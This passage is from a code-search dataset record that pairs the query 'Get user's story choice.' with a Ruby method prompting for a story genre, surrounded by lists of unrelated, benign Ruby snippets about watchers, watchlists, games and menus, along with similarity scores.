lease\n @watch.objects.find { |o| o.name == \"lease\" }.val\n end", "def create\n @watch = Watch.new(watch_params)\n\n respond_to do |format|\n if @watch.save\n format.html { redirect_to @watch, notice: 'Watch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @watch }\n else\n format.html { render action: 'new' }\n format.json { render json: @watch.errors, status: :unprocessable_entity }\n end\n end\n end", "def watched\n identifier(watched_db) \n end", "def is_watching\n faved_favorites = favorites.streams\n profile_ids = faved_favorites.collect { |favorite| favorite.favable.profile_id }.uniq\n watches = []\n profile_ids.each do |profile_id|\n fave = faved_favorites.find { |favorite| profile_id == favorite.favable.profile_id }\n watches << Watch.new(profile: fave.profile, created_at: fave.created_at, watched_profile: fave.favable.profile)\n end\n return watches\n end", "def watched_tvshow\n @watch = Watchlist.find_by(show_watched: false, user_id: params[:user_id], tv_show_id: params[:tv_show_id])\n\n if @watch\n @watch.update(show_watched: true)\n render json: @watch\n else\n render json: {\n error: \"Something went wrong\"\n }\n end\n end", "def get_default_global_watcher\n super\n end", "def get_default_global_watcher\n super\n end", "def watched_by(watcher = nil)\n return @watched_by if watcher.nil?\n\n @watched_by ||= []\n @watched_by << watcher\n end", "def get_watcher(req_id, opts={})\n @mutex.synchronize do\n if Constants::ZKRB_GLOBAL_CB_REQ == req_id\n { :watcher => @default_watcher, :watcher_context => nil }\n elsif opts[:keep]\n @watcher_reqs[req_id]\n else\n @watcher_reqs.delete(req_id)\n end\n end\n end", "def watching?(hash)\n if hash[:post]\n hash[:post].watches.where(watcher: self).exists?\n elsif hash[:tag]\n fail 'Not Implemented.'\n elsif hash[:user]\n fail 'Not Implemented.'\n else\n fail 'No hash argument set.'\n end\n end", "def ensure_watcher(owner, repo, watcher, date_added = nil)\n project = ensure_repo(owner, repo)\n new_watcher = ensure_user(watcher, false, false)\n\n if new_watcher.nil? or project.nil?\n warn \"Could not find watcher #{watcher} or repo #{owner}/#{repo}\"\n return\n end\n\n watchers = db[:watchers]\n watcher_exist = watchers.first(:user_id => new_watcher[:id],\n :repo_id => project[:id])\n\n retrieved = retrieve_watcher(owner, repo, watcher)\n\n created_at = case\n when (not date_added.nil?)\n date(date_added)\n when (not retrieved.nil? and not retrieved['created_at'].nil?)\n date(retrieved['created_at'])\n else\n max(date(project[:created_at]),\n date(new_watcher[:created_at]))\n end\n\n if watcher_exist.nil?\n\n if retrieved.nil?\n warn \"Could not retrieve watcher #{watcher} of repo #{owner}/#{repo}\"\n return\n end\n\n watchers.insert(\n :user_id => new_watcher[:id],\n :repo_id => project[:id],\n :created_at => date(created_at)\n )\n info \"Added watcher #{owner}/#{repo} -> #{watcher}\"\n else\n debug \"Watcher #{owner}/#{repo} -> #{watcher} exists\"\n end\n\n w = watchers.first(:user_id => new_watcher[:id],\n :repo_id => project[:id])\n\n if w[:created_at] < created_at\n watchers.filter(:user_id => new_watcher[:id],\n :repo_id => project[:id])\\\n .update(:created_at => date(created_at))\n info \"Updated watcher #{owner}/#{repo} -> #{watcher}, created_at -> #{date_added}\"\n end\n\n w\n end", "def after_create(model)\n watching = model.watchings.new(:user_id => current_user, :creator => true)\n watching.save\n end", "def watch_interval; end", "def _init_watch(doc, db)\n return {} unless doc.key?(:watch)\n wdoc = doc[:watch]\n wdb = ___mk_wdb(wdoc, db[:command][:group])\n (db[:watch] ||= Hashx.new).deep_update(wdb, true)\n self\n end", "def watchlist(value)\n _watchlist(value) or fail ArgumentError, \"Unknown value for watchlist: #{value}\"\n end", "def watchlist(value)\n _watchlist(value) or fail ArgumentError, \"Unknown value for watchlist: #{value}\"\n end", "def watchlist(value)\n _watchlist(value) or fail ArgumentError, \"Unknown value for watchlist: #{value}\"\n end", "def watchlist(value)\n _watchlist(value) or fail ArgumentError, \"Unknown value for watchlist: #{value}\"\n end", "def index\n @watches = Watch.all\n end", "def set_watch_bill\n @watch_bill = WatchBill.find(params[:id])\n end", "def monitor\n @monitor ||= PeriodicMonitor.new\n end", "def commandWatch _obj, _args\n \"_obj commandWatch _args;\" \n end", "def start_watch\n beanstalk.watch(@job_name)\n beanstalk.list_tubes_watched.each do |server, tubes|\n tubes.each { |tube| beanstalk.ignore(tube) unless tube == @job_name }\n end\n end", "def apple_watch_force_wrist_detection\n return @apple_watch_force_wrist_detection\n end", "def watch(*args, &block)\n yield\n end", "def watcher_css(object)\n \"#{object.class.to_s.underscore}-#{object.id}-watcher\"\n end", "def watchers\n attributes.fetch(:watchers)\n end", "def watch(name, context: self, method: nil, &blk)\n watcher = blk ? Watcher.new(name, context: context, &blk) : watch_method(name, context: context, method: method)\n watchers.delete_if { |w| w.name == name }\n watchers << watcher.check\n end", "def updated\n watchers.find_all(&:updated?)\n end", "def watchlist\n Enceladus::MovieCollection.new(\"account/#{id}/watchlist/movies\", { session_id: session_id }) if authenticated?\n end", "def watch\n\t\t@event = Event.find(params[:id])\n \t@attendee = User.find(session[:user_id])\n\n\t\t# get @attendee's event_commitment with this event, if any\n\t\t@event_commitment = @attendee.event_commitments.where(:event_id => @event.id).first\n\n\t\t# create a new event_commitment, or change @event_commitment's description to \"watch\"\n\t\tif @event_commitment == nil\n\t\t\t@event_commitment = EventCommitment.create(:user => @attendee, :event => @event, :description => \"watch\")\n\t\telsif @event_commitment.description != \"watch\"\n\t\t\t# use update_attributes b/c saves automatically\n\t\t\t@event_commitment.update_attributes(:description => \"watch\")\n end\n\n @event_commitments = @event.event_commitments(true) # use \"true\" to reload info from the db\n\n # respond to: calls watch.js.erb\n respond_to do |format|\n format.js\n format.html { redirect_to(@event) }\n end\n\tend", "def post(watch_form)\n HttpClient::Preconditions.assert_class('watch_form', watch_form, Apidoc::Models::WatchForm)\n @client.request(\"/watches\").with_json(watch_form.to_json).post { |hash| Apidoc::Models::Watch.new(hash) }\n end", "def get_by_guid(guid)\n HttpClient::Preconditions.assert_class('guid', guid, String)\n @client.request(\"/watches/#{guid}\").get { |hash| Apidoc::Models::Watch.new(hash) }\n end", "def watch_for_me(m, chan, pass, name)\n create(:watches, { \"chan\" => \"##{chan}\", \"chan_pass\" => pass, \"watch_pattern\" => name, \"created_by\" => m.user.nick })\n refresh_watches\n m.reply \"gerrit notification enabled.\"\n end", "def show\n @watch_list = WatchList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watch_list }\n end\n end", "def get(incoming={})\n opts = HttpClient::Helper.symbolize_keys(incoming)\n query = {\n :guid => HttpClient::Preconditions.assert_class_or_nil('guid', HttpClient::Helper.to_uuid(opts.delete(:guid)), String),\n :user_guid => HttpClient::Preconditions.assert_class_or_nil('user_guid', HttpClient::Helper.to_uuid(opts.delete(:user_guid)), String),\n :service_key => HttpClient::Preconditions.assert_class_or_nil('service_key', opts.delete(:service_key), String),\n :limit => HttpClient::Preconditions.assert_class_or_nil('limit', opts.delete(:limit), Integer),\n :offset => HttpClient::Preconditions.assert_class_or_nil('offset', opts.delete(:offset), Integer)\n }.delete_if { |k, v| v.nil? }\n @client.request(\"/watches\").with_query(query).get.map { |hash| Apidoc::Models::Watch.new(hash) }\n end", "def instance\n Monitor.instance\n end", "def create\n if IssueWatch.where(user_id: current_user.id, issue_id: params[:issue_id]).first != nil\n IssueWatch.where(user_id: current_user.id, issue_id: params[:issue_id]).first.destroy\n redirect_to Issue.find(params[:issue_id])\n else\n @issue_watch = IssueWatch.new()\n @issue_watch.issue_id = params[:issue_id]\n @issue_watch.user_id = current_user.id\n \n respond_to do |format|\n if @issue_watch.save\n format.html { redirect_to Issue.find(params[:issue_id]) }\n #format.json { render :show, status: :created, location: @issue_watch }\n else\n format.html { render :new }\n #format.json { render json: @issue_watch.errors, status: :unprocessable_entity }\n end\n end \n end\n end", "def watch_for_set; end", "def logWatch(name, data={}, &blk); return MootLogs.logWatch(name, data, &blk); end", "def get_monitor(monitor_instance_id)\n @monitors[monitor_instance_id] if @monitors.key?(monitor_instance_id)\n end", "def get_existing_monitor_by_name(mon_name)\n get_monitors.each do |mon|\n return mon if mon['name'] == mon_name\n end\n nil\n end", "def watching\n Birdman::Requester.get(\"movies/#{id}/watching\")\n end", "def watch_process(cmd = nil, &block)\n Polyphony::Process.watch(cmd, &block)\n end", "def watches?(task_list)\n watched_task_lists.include?(task_list)\n end", "def check(type, options = {}, &block)\n options[:keep_alive] ||= @keep_alive\n @watchers << Herald::Watcher.new(type, options, &block)\n self\n end", "def get_watch(data)\n repo = data[\"repository\"][\"name\"]\n\n say repo, \"#{Cinch::Formatting.format(:Black, '[')}\" + format_repo(data) + \\\n \"#{Cinch::Formatting.format(:Black, ']')} \" + format_author(data) + \\\n \" #{data[\"action\"]} stargazing. Total: \" + format_stargazers_count(data)\n end", "def current_live\n self.versioned? ? self.versions.current_live.instance : self\n end", "def poll name\n poll = @watch.objects.find { |obj| obj.name == \"poll#{name}\" }\n\n poll.invoke.objects.find do |object|\n object.name == \"values\"\n end.objects\n end", "def watched\n \"#{table.watched}.`#{name}`\"\n end", "def rails_app\n # TODO: Return a `String` with the right command to create a new rails app called `watch-list`.\nend", "def url\n @watch.href\n end", "def url\n @watch.href\n end", "def watchers_for(field)\n ActiveMetadata::Watcher.select(\"distinct(owner_id)\").where(\n \"model_class = :model_class AND label = :label AND (model_id = :model_id OR model_id IS NULL)\",\n { :model_class => metadata_class, :label => field, :model_id => metadata_id }\n )\n end", "def set_swatch\n @swatch = Swatch.find(params[:id])\n end", "def update\n respond_to do |format|\n if @watch.update(watch_params)\n format.html { redirect_to @watch, notice: 'Watch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @watch.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_watched_post\n @watched_post = WatchedPost.find(params[:id])\n end", "def watchable_files; end", "def add_watchers(obj)\n if user.allowed_to?(\"add_#{obj.class.name.underscore}_watchers\".to_sym, obj.project)\n addresses = [email.to, email.cc].flatten.compact.uniq.collect {|a| a.strip.downcase}\n unless addresses.empty?\n User.active.having_mail(addresses).each do |w|\n obj.add_watcher(w)\n end\n end\n end\n end", "def watch(site, options); end", "def watch_current!\n ep = ep(@current_ep).watch!\n @current_ep = next_episode.number\n ep\n end", "def watch(*globs)\n @watchlist.accept(globs) unless globs.empty?\n @watchlist\n end", "def watch_interval=(_arg0); end", "def watch_comment_status_by_user_id(user_id)\n action = watch_comment_by_user_actions.where(\"user_type = 'User' and user_id = ?\", user_id).take\n return action.action_option == \"ignore\" ? \"ignore\" : \"watch\" if action\n\n repo_action = repository.watch_by_user_actions.where(\"user_type = 'User' and user_id = ?\", user_id).take\n return \"watch\" if repo_action\n \"unwatch\"\n end", "def watcher=(_arg0); end", "def watch_count\n item_hash.deep_find(:watch_count, 0)\n end", "def show\n @watch_site = WatchSite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @watch_site }\n end\n end", "def update\n respond_to do |format|\n if @issue_watch.update(issue_watch_params)\n format.html { redirect_to @issue_watch, notice: 'Issue watch was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_watch }\n else\n format.html { render :edit }\n format.json { render json: @issue_watch.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.63779765", "0.6354847", "0.6266074", "0.6266074", "0.61898947", "0.61334044", "0.61307955", "0.6052805", "0.6015678", "0.5926923", "0.5763291", "0.5758302", "0.56348324", "0.555375", "0.5520806", "0.54550105", "0.54289323", "0.53874636", "0.53708756", "0.535469", "0.5338466", "0.5290906", "0.5290906", "0.5290906", "0.52778816", "0.5273329", "0.5263758", "0.5232589", "0.5206515", "0.51921105", "0.51821244", "0.5170156", "0.5170156", "0.5148759", "0.51377404", "0.51119375", "0.51045287", "0.50932175", "0.50932175", "0.50536895", "0.5047332", "0.50464493", "0.5045649", "0.50161946", "0.5009125", "0.50016034", "0.49738756", "0.49738756", "0.49738756", "0.49738756", "0.4967451", "0.4959339", "0.49495512", "0.4948593", "0.49187738", "0.48994872", "0.48671034", "0.48642206", "0.48606056", "0.48543733", "0.48538715", "0.4843975", "0.48373678", "0.48329636", "0.4822448", "0.48083013", "0.4802319", "0.4792696", "0.47482637", "0.47407869", "0.47259036", "0.47032386", "0.46833876", "0.46597707", "0.46430546", "0.46370387", "0.46335873", "0.46302664", "0.4626243", "0.46130878", "0.46034044", "0.45810807", "0.45791674", "0.4568929", "0.4568929", "0.45682573", "0.45653802", "0.4561846", "0.4561378", "0.45604485", "0.4542672", "0.45383084", "0.45318773", "0.4528847", "0.4527191", "0.4523708", "0.45083514", "0.45032862", "0.44924733", "0.4491959" ]
0.65043986
0
Get user's story choice.
def choosestory(username) storychoice = gets.chomp.downcase case storychoice when 'cop story', 'cop story', 'cop', 'cop' puts " You have chosen Cop Story." copstory(username) when 'rom com', 'rom-com', 'romance', 'rom', 'romcom' puts " You have chosen Rom-Com." romcom(username) when 'sci fi', 'sci-fi', 'sci', 'science fiction' puts " You have chosen Sci-Fi." scifi(username) else puts "Sorry, I don't understand! Would you like to hear a Rom-Com, Cop Story, or Sci-Fi?" choosestory(username) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def choice\n @choice\n end", "def choice\n @choice\n end", "def user_choice_text_version\n this_here = pick_a_story\n puts \"\\n #{this_here.title}\"\n puts \"\\n\"\n Narrabot::Scraper.aesop_fable_text(this_here) if !this_here.text_and_moral\n puts this_here.text_and_moral\n puts \"\\n\"\n #puts \"Would you like me to read this story in my beautiful voice?\"\n #input = gets.chomp\n #switch = yes_or_no(input)\n #if switch == true\n # puts \"\"\n # \"#{this_here.text_and_moral}\".play (\"en\")\n #else\n # puts \"\"\n # play_and_puts(\"Okay\")\n #end\n end", "def get_user_choice\n @user_choice = gets.chomp\n end", "def get_menu_choice\n\t\tchoices = [\"1. Play Hangman\", \"2. Load Saved Game\", \"3. Delete Saved Game\",\n\t\t\t\"4. List Saved Games\", \"5. Quit\"]\n\t\tdisplay_menu choices\n\n\t\twhile true\n\t\t\tprint \"Enter Selection (1 - #{ choices.length }): \"\n\t\t\tchoice = gets.chomp.to_i\n\t\t\treturn choice if choice.between?(1, choices.length)\n\t\tend\n\tend", "def user_recipe_choice\n puts \"\\nWhich recipe would you like to see?\\nPlease input the recipe number:\\n\"\n\n input = gets.strip\n if valid_recipe_choice(input)\n recipe_index = (input.to_i - 1)\n\n attributes = EverythingButTheKitchenSink::SpoonacularApi.recipe_info(recipe_index)\n recipe_object = EverythingButTheKitchenSink::Recipe.all[recipe_index]\n EverythingButTheKitchenSink::TransformData.get_time_and_url(attributes, recipe_object)\n recipe_object\n else\n user_recipe_choice\n end\n end", "def get_story\n return @story\n end", "def obj\n the_choice\n end", "def meal_choice(choice = \"meat\")\n return choice #meal choice that was passed into it \nend", "def show\n @user_story_acceptance_criterions = @user_story.user_story_acceptance_criterions\n end", "def story\n return @story if @story\n story_id = Git.get_config(KEY_STORY_ID, :branch)\n if story_id.blank? && (matchdata = /^[a-z0-9_\\-]+\\/(\\d+)(-[a-z0-9_\\-]+)?$/i.match(Git.current_branch))\n story_id = matchdata[1]\n Git.set_config(KEY_STORY_ID, story_id, :branch) unless story_id.blank?\n end\n if story_id.blank?\n story_id = ask('What Pivotal story ID is this branch associated with?').strip\n Git.set_config(KEY_STORY_ID, story_id, :branch) unless story_id.blank?\n end\n return nil if story_id.blank?\n return (@story = Story.new(project, project.stories.find(story_id.to_i), branch_name: Git.current_branch))\n end", "def get_user_selection\n guess_again = true\n until guess_again == false\n puts \"Please choose rock, paper, or scissors (or q to quit)\"\n @user_current_throw = gets.chomp\n case @user_current_throw.downcase\n when \"q\"\n puts \"Thanks for playing!\"\n exit\n when \"rock\"\n @user_current_throw = @rock\n guess_again = false\n when \"scissors\"\n @user_current_throw = @scissors\n guess_again = false\n when \"paper\"\n @user_current_throw = @paper\n guess_again = false\n else\n puts \"That is not a valid entry\"\n guess_again = true\n end\n end #end of until\n end", "def get_type_of_stories_link\n # Used to convert user selection to the string link\n mapped_choices = [\"sports\", \"campus\", \"science-and-medicine\", \"arts-and-humanities\", \"the-conversation\", \"covid-19-updates\"]\n \n # Prompt the user for what type of stories they want\n input = prompt \"What type of stories would you like? Please input the number beside it.\\n1. Sports\\n2. Campus\\n3. Science & Medicine\\n4. Arts & Humanities\\n5. The Conversation\\n6. Covid Updates\\nSelection: \"\n \n while !input.to_i().between?(1,6) #keep asking for input until input is valid\n puts \"\\nInvalid input. Please try again.\"\n input = prompt \"What type of stories would you like? Please input the number beside it.\\n1. Sports\\n2. Campus\\n3. Science & Medicine\\n4. Arts & Humanities\\n5. The Conversation\\n6. Covid Updates\\nSelection: \"\n end\n\n \"https://news.osu.edu/#{mapped_choices[input.to_i() - 1]}/\"\nend", "def target_choice\n launcher, skill, target_bank, target_position = @visual.show_target_choice\n if launcher\n # The player made a choice we store the action and check if he can make other choices\n @player_actions << { type: :attack, launcher: launcher, skill: skill, target_bank: target_bank, target_position: target_position }\n log_debug(\"Action : #{@player_actions.last}\") if debug? # To prevent useless overhead outside debug\n @next_update = can_player_make_another_action_choice? ? :player_action_choice : :trigger_all_AI\n else\n # If the player canceled we return to the player action\n @next_update = :player_action_choice\n end\n ensure\n @skip_frame = true\n end", "def choose_word\n case @game_mode\n when \"computer guess\"\n puts \"Choose a word! (It must be in the dictionary)\"\n @word = gets.chomp\n when \"human guess\"\n @word = computer_guess\n end\n end", "def meal_choice(choice = \"meat\")\n return choice\nend", "def record_users_choice input\n\n if input == \"p\"\n player_picked = \"Paper\"\n elsif input == \"r\"\n player_picked = \"Rock\"\n elsif input == \"s\"\n player_picked = \"Scissors\"\n end\nend", "def find_user_story\n @user_story = @project.user_stories.find(params[:user_story_id])\n end", "def get_user_selection\n puts 'Choice (Press enter for first choice):'\n loop do\n choice = STDIN.gets.strip.to_i\n if !choice.nil? && possible_moves.each_index.to_a.include?(choice)\n return choice\n else\n puts \"Please select valid choice.\"\n end\n end\n end", "def skill_choice\n if @visual.show_skill_choice(@player_actions.size)\n # The player choosed a move\n @next_update = :target_choice\n else\n # The player canceled\n @next_update = :player_action_choice\n end\n ensure\n @skip_frame = true\n end", "def theme_selected?\n user_selections.params['thm']\n end", "def choice_acquisition\n if @player_role_selection == 'breaker'\n @proposed_code = player_choice_acquisition\n elsif @player_role_selection == 'maker'\n @proposed_code = computer_choice_acquisition\n end\n puts \"Playing #{@proposed_code}\"\n end", "def admin_choice\n @choice = params[:choice]\n end", "def get_player_choice()\n\n puts \"[1] - rock\\n[2] - paper\\n[3] - scissors\\n\\n\"\n\n\n print \"Choose > \"\n\n inp = gets.chomp()\n\n while true\n\n case inp\n\n when \"1\"\n\n return \"rock\"\n \n when \"2\"\n\n return \"paper\"\n\n when \"3\"\n \n return \"scissors\"\n \n else\n puts \"[!] Option not found !\\n\"\n print \"Choose > \"\n\n inp = gets.chomp()\n \n end\n\n end\n\n end", "def pick_grader(question)\n question.auto_grader\n end", "def situation_selection\n $prompt.select(\"Welcome to Ticket Master! What would you like to do?\") do |menu|\n menu.choice 'Sign up'\n menu.choice 'Login'\n menu.choice 'Terminate program'\n end\nend", "def select_player_choice (player)\n puts \"\\n#{player.name}, it's your turn.\\n\\nHere are your options:\\n\"\n @acceptable_choices.each { |e| puts e}\n player.select_choice(self)\n end", "def show\n @story_choice = StoryChoice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story_choice }\n end\n end", "def afterStory(username)\n\nputs \"\n\nWould you like to hear another story?\"\n\nplayagainyesorno = gets.chomp.downcase\n\n case playagainyesorno\n when 'yes', 'yes please', 'yup'\n puts \"Great!\"\n puts \"Your choices are: Rom-Com, Cop Story, or Sci-Fi.\"\n choosestory(username)\n when 'no', 'nope', 'no way'\n puts \"\nOkay, goodbye!\"\n else\n puts \"I don't know what you said! \"\n afterStory(username)\n end\nend", "def choice\n rand\n end", "def meal_choice(var=\"meat\")\n var\nend", "def show\n @current_selection = params[:current_selection] or \"activities\"\n end", "def select_the_player_role\n output = nil\n # input validation\n until %w[maker breaker].include?(output)\n puts 'Do you want to be a [maker] or a [breaker]?'\n output = gets.chomp\n end\n output\n end", "def computer_ai_2\n choice = @human_moves[-1]\n end", "def choose(request = nil)\n if @playground.collecting?\n if active?\n if enabled? # rubocop:todo Style/GuardClause\n return assignment_for_identity(request)\n else\n # Show the default if experiment is disabled.\n return default\n end\n else\n # If inactive, always show the outcome. Fallback to generation if one can't be found.\n index = connection.ab_get_outcome(@id) || alternative_for(identity)\n end\n else\n # If collecting=false, show the alternative, but don't track anything.\n identity = identity()\n @showing ||= {}\n @showing[identity] ||= alternative_for(identity)\n index = @showing[identity]\n end\n\n alternatives[index.to_i]\n end", "def user_choose_rps\n\tputs \"Enter rock, paper or scissors:\"\n user = gets.chomp\n user\nend", "def get_recent_offering_choice\n if params.has_key? :id\n @recent_offering_choice = Offering.find params[:id]\n end\n @recent_offering_choice ||= @offering.course.recent_offerings.first\n end", "def story_and_choice_handler(storyline, choices)\n\t\n\tif File.file?(storyline.to_s)\n\t\tstoryline = storyline.read\n\telsif File.file?(choices.to_s)\n\t\tchoices = choices.read\n\tend\n\t\n\tputs storyline\n\tputs choices\n\t\t\t\n\tnumber_of_choices = choices.split.select{ |i| i =~ /[0-9]/}.sort.pop.to_i\n\t\n\twhile true\n\t\n\t\tprint \">>> \"; input = gets.chomp\n\n\t\tfor input_element in input.split\n\t\t\tif input_element =~ /[0-9]/\n\t\t\t\tinput_number = input_element.to_i\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t\n\t\tif input_number >= 1 && input_number <= number_of_choices\n\t\t\treturn input_number\n\t\telse\n\t\t\tputs \"Please type a number between 1 and #{number_of_choices}\"\n\t\tend\n\t\n\tend\nend", "def answer\n @choices[@active - 1].value\n end", "def menu_selection\n PROMPT.select('Please make a selection!'.colorize(:magenta)) do |menu|\n menu.choice({ name: \"Track Today's Mood\", value: '1' })\n menu.choice({ name: 'View Tracked Moods', value: '2' })\n menu.choice({ name: 'Good Vibes Please', value: '3' })\n menu.choice({ name: 'Exit', value: '4' })\n end\n end", "def get_user_choice\n puts \"Do you want to be X or O?\"\n puts \"Type 'X' or 'O': \"\n # assign the choice to a variable\n @symbol = gets.chomp\n # call the method to then get the computers symbol for the game\n get_computer_choice\n end", "def get_story(activity)\n begin\n set_super_token\n project_id = activity['project_id']\n story_id = activity['stories'][0]['id']\n story = PivotalTracker::Project.find(project_id).stories.find(story_id)\n raise 'Got empty story' if story.nil?\n rescue => e\n raise WrongActivityData.new(\"Can't get story: #{story_id} from Pivotal Tracker project: #{project_id}. \" + e) \n end\n return story \n end", "def select_hero\n puts @hero_preference.shift\n end", "def select_hero\n puts @hero_preference.shift\n end", "def selected_game\n @selected_game\n end", "def _choice prompt, choices\n choose do |menu|\n menu.prompt = prompt\n menu.choices(*choices) do |n| return n; end\n end\n end", "def game_mode\n return $prompt.select(\"Select game mode\",\n [\"Manual\", \"Simulate\"])\n \nend", "def choice(id, account: nil)\n get account, \"field/#{id}/choice\", {}\n end", "def player_pick(player_num) #to convert the player's letter choice to a word\n if player_num == 'r'\n player_choice = 'rock'\n elsif player_num == 'p'\n player_choice = 'paper'\n elsif player_num == 's'\n player_choice = 'scissors'\n end\nend", "def choose_pokemon\n choice = nil\n call_scene(GamePlay::StorageTrade) { |scene| choice = scene.return_data }\n return choice\n end", "def interview_committee_decision\n application_interview_decision_type.title if application_interview_decision_type\n end", "def choice\n\n\t$c_choice = 1 + rand(3)\n\n\t# Convert int to appropriate string\n\n\tcase $c_choice\n\t\twhen 1\n\t\t\t$c_choice = \"rock\"\n\t\twhen 2\n\t\t\t$c_choice = \"paper\"\n\t\twhen 3\n\t\t\t$c_choice = \"scissors\"\n\tend\n\n\tputs $c_choice.upcase\n\nend", "def meal_choice(meal = \"meat\")\n meal_choice = (meal)\n meal_choice\nend", "def select_activity_single(menu)\n selection = TTY::Prompt.new.select(\"Choose an activity:\", menu, cycle: true, marker: '>', echo: false)\n @activities.each { |activity| return activity if activity.name == selection }\n \n end", "def [](choice)\n choices[choice]\n end", "def selection(input, user)\n case input\n when 1\n get_number_of_random_recipes(user)\n when 2\n recipe_hash = run_option_find_recipe_by_name\n run_sub_menu_option(user, recipe_hash)\n when 3\n run_option_create(user)\n when 4\n run_option_view_favs(user)\n end\n end", "def set_choice\n @choice = @question.choices.find(params[:id])\n end", "def choice_option\n \"#{assigned_at.to_date.to_s} (#{user_name})\"\n end", "def get_selection(message, options, board, opponent)\n loop do\n puts \"#{message}#{options}\"\n user_input = gets.chomp.downcase\n if options.keys.include?(user_input.to_i)\n puts \"you chose #{options[user_input.to_i]}\"\n return user_input\n else\n handle_non_move_choice(user_input, board, opponent)\n end\n end\n end", "def choose\n \n case @last_opponent_choice\n when :paper\n [:rock, :scissors][rand(2)]\n when :rock\n [:paper, :scissors][rand(2)]\n when :scissors\n [:rock, :scissors][rand(2)]\n end\n \n #:paper\n \n \n end", "def menu_choice(choice)\n\n\t\tif choice == \"a\"\n\t\t\thuman_player.search_weapon\n\t\telsif choice == \"s\"\n\t\t\thuman_player.search_health_pack\n\t\telse\n\t\t\ti = 0\n\t\t\tenemies_in_sight.each do |enemy|\n\t\t\t\ti += 1\n\t\t\t\tif i == choice.to_i\n\t\t\t\t\thuman_player.attacks(enemy)\n\t\t\t\t\tunless enemy.life_points > 0\n\t\t\t\t\t\tenemies_in_sight.delete(enemy)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def select_game_type\n begin\n puts \"\\n#{@player}, would you like to play a new game, \"\n puts \"load and continue a previous game, \"\n puts \"change current player, or quit?\"\n puts \"(Enter 'N', 'L', 'C', or 'Q')\"\n choice = gets.chomp.strip.upcase\n valid_answer = %w[N L C Q]\n unless valid_answer.include?(choice)\n raise ArgumentError.new(\"Selection was not of the correct format.\")\n end\n rescue ArgumentError=>e\n puts \"Error: #{e.message}\"\n retry\n end\n return choice\n end", "def show\n\t\t_get_current_question_and_choices(params[:id])\n\tend", "def set_user_story\n @user_story = UserStory.find(params[:id])\n end", "def select_option\n return $prompt.select(\"What's your option?\",\n [\"Ladder\", \"Team's info\", \"Play a game!\", \"Training\", \"Exit\"])\n \nend", "def choose_weapons\n puts \"Choose 'r' for rock, 'p' for paper or 's' for scissors\"\n return gets.chomp.downcase\n end", "def choose(choice)\n return nil unless started? && decision_ready?(choice)\n\n update!(current_event: choice.outcome)\n current_event\n end", "def get_user_action()\r\n \taction = nil\r\n \tvalid_input = false\r\n \twhile !valid_input do\r\n \tputs \"Would you like to Hit (H) or Stand (S)?\"\r\n \taction = gets.chomp.upcase\r\n \tif action == \"H\" || action == \"S\"\r\n \t valid_input = true\r\n \telse\r\n \t puts \"Please enter a valid action.\"\r\n \tend\r\n \tend\r\n \treturn action\r\n\tend", "def get_user_selection\r\n clear\r\n test_banner\r\n puts\r\n puts \"---------- User selection----------\\n\\n\"\r\n # First get the name to represent the user\r\n user_name = @prompt.ask(\"Hello, visitor! Can I have you name please?\\n\\n\") do |input|\r\n input.required true\r\n input.validate(/\\A\\w+\\Z/)\r\n input.modify :capitalize\r\n input.messages[:valid?] =\r\n 'My dear friend, only letters, numbers and underscore are allowed. Please try again.'\r\n end\r\n clear\r\n test_banner\r\n puts\r\n # Get the time attribute from the test model\r\n level_selections = [\r\n { name: 'Easy: 16s', value: lambda {\r\n @test.time_level[:Easy]\r\n } },\r\n { name: 'Normal: 12s', value: lambda {\r\n @test.time_level[:Normal]\r\n } },\r\n { name: 'Hard: 8s', value: lambda {\r\n @test.time_level[:Hard]\r\n } },\r\n { name: 'I want to change my name. Please let me go back', value: lambda {\r\n interface\r\n } }\r\n ]\r\n selection = @prompt.select(\r\n \"Please select one time mode for answering each question in a quiz.\\nIf you can not selection a option in the limited time\\nIt will be considered as false amswer\".colorize(:light_magenta), level_selections, help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always, per_page: 5\r\n )\r\n\r\n clear\r\n test_banner\r\n puts\r\n # Choose default or custom collections\r\n test_collections = [\r\n { name: 'Default collections', value: lambda {\r\n pick_collection('Default', user_name, selection)\r\n } },\r\n { name: 'Custom collections', value: lambda {\r\n pick_collection('Custom', user_name, selection)\r\n } },\r\n { name: 'I want to change the time setting. Please let me go back to main menu', value: lambda {\r\n interface\r\n } }\r\n ]\r\n test_collection = @prompt.select('Please select one group of collecctions', test_collections,\r\n help: \"(Select with pressing ↑/↓ arrow keys, and then pressing Enter)\\n\\n\", show_help: :always, per_page: 3)\r\n end", "def item_choice\n item_id, target = @visual.show_item_choice\n if item_id\n # The player made a choice we store the action and we check if he can make other choices\n @player_actions << { type: :item, item_id: item_id, target: target, bag: @logic.bags[0] }\n log_debug(\"Action : #{@player_actions.last}\") if debug? # To prevent useless overhead outside debug\n @next_update = can_player_make_another_action_choice? ? :player_action_choice : :trigger_all_AI\n else\n # If the player canceled we return to the player action\n @next_update = :player_action_choice\n end\n end", "def ask_for_movie_choice\n puts \"Choose a number between 1-10 to select a movie\"\n #get user input\n input = gets.chomp.to_i\n until valid_input?(input)\n puts \"Sorry, that's not a valid choice - choose 1-10\"\n input = gets.chomp.to_i\n end\n\n puts \"Great pick, let's check out some more information!\"\n puts \"-------------------------------------------------------->\"\n storyline(input)\n end", "def choices_ok(question) question.get_choice_ok_from_idurls(choice_idurls_ok) end", "def get_input\n story = gets.chomp\nend", "def play(opponent)\n opponent.choose\n end", "def storyline(input)\n anime = Anime.all[input -1]\n Scraper.scrape_storyline(anime)\n puts \"\\n#{anime.title}, #{anime.release_date} | Rated: #{anime.rating} | Runtime: #{anime.runtime} | Genre: #{anime.genre} \\n \"\n puts anime.story\n puts \"\\nDirector: #{anime.director.name}\"\n sleep(5)\n puts \"\\nWould you 